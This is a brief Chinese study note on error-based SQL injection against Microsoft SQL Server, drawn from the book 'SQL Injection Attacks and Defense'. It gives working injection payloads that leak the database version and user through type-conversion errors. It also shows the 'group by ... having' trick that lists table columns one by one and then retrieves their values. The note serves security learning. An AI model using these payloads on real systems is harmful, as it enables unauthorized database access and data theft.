《SQL注入攻击与防御》

第二章
第二节

根据SQL server错误信息:

1=0/@@version; - - olly
可以在返回的错误信息中看到version信息
同理:
1=0/user; - - olly
可以看到user信息
这种方法可以看到数据库中所有的变量信息,但限制条件是要开启错误回显

having 1’=’1
可以看到数据库中的第一列 假设为productid
然后可以继续 group by productid having 1’=’1
可以看到第二列 假设为 name
继续 group by productid,name having 1’=’1
可以看到第三列 假设为 price
一直即可得到所有的列

然后可以通过第一种方法“类型转换错误技术”检索列对应的值
比如 name 1=0/name; - - olly

展开阅读全文

没有更多推荐了,返回首页